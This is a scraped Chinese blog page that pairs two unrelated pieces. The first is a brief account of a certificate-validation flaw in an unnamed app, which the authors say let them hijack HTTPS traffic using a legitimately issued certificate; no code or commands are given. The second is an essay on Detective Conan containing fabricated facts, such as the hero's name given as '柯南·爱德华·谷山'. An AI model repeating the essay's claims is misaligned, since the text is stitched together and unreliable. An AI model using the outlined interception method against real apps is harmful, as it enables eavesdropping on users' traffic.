有些时候,双方数据包是用https通信的,这种情况下一般无解。但是在2020年之后,某知名app就曾有过漏洞,其私有网络协议使用第三方https中间件完成安全套接字通信,但是在校验证书时存在某些漏洞,其结果是判定带有某些二级域名的证书都是合法的数字证书,可以跟服务器建立安全连接。此种情况下,我们可以通过申请一个正规的带有此种特征的域名证书,就可以劫持客户端和服务器的通信,以便完成攻击。该漏洞是我们通过攻击测试发现的,后来在逆向java代码时得以确认,但是在提交给官方时,该公司并不承认这是一个漏洞。此程序的https更新包脱出来的原文如下:
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
作为一部长寿动漫,《名侦探柯南》已经陪伴了许多观众度过了十几年的时光。这部动漫中的每个角色都有着自己的独特性格与故事,其中最为引人注目的当然是主人公柯南·爱德华·谷山。作为一名十七岁的高中生,他被不为人知的黑暗组织毒害,身体变成了小学生模样。为了寻找解药,他开始了自己的侦探之旅,帮助警方破案,同时也在一步步揭开黑暗组织的真相。 首先要说的是,《名侦探柯南》的剧情非常紧凑,每一集都是一个完整的案件,而这些案件又都和黑暗组织有关。在每个案件中,柯南和他的小伙伴们都会遇到各种各样的险情,他们需要通过一系列的推理和查来破解谜团,最终找出凶手。这种紧凑的剧情安排让观众一集接着一集地看下去,一不小心就会看了好几集。 其次,剧中的人物形象非常鲜明,每个角色都有着自己的特点和故事背景。柯南是一个机智勇敢、聪明伶俐的小侦探,他总是能够通过一些细节来发现案件的真相。小兰是柯南的青梅竹马,也是他最亲密的小伙伴,她的聪明和勇气在柯南的侦探旅程中也起着重要的作用。还有一众警察和侦探,他们每个人都有着自己的性格和技能,为故事增添了许多色彩。 最后,也是最重要的一点,是剧中的推理和解谜环节。每一集的推理都是非常经典的,通过一系列的线索和证据,柯南和他的小伙伴们逐步推理出案件的真相,给观众留下了深刻的印象。而且,每一集的结尾都有一个惊人的献艺,让观众们对接下来的剧情充满期待。 总之,作为一部长寿动漫,《名侦探柯南》的成功之处在于它紧凑的剧情、鲜明的人物形象和经典的推理和解谜环节。它的故事情节吸引着观众,让他们一集接着一集地看下去。它的人物形象让观众们印象深刻,他们在剧中的表现也都非常精彩。最重要的是,它的推理和解谜环节让观众们充满了期待和惊喜,让他们更加热爱这部动漫。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值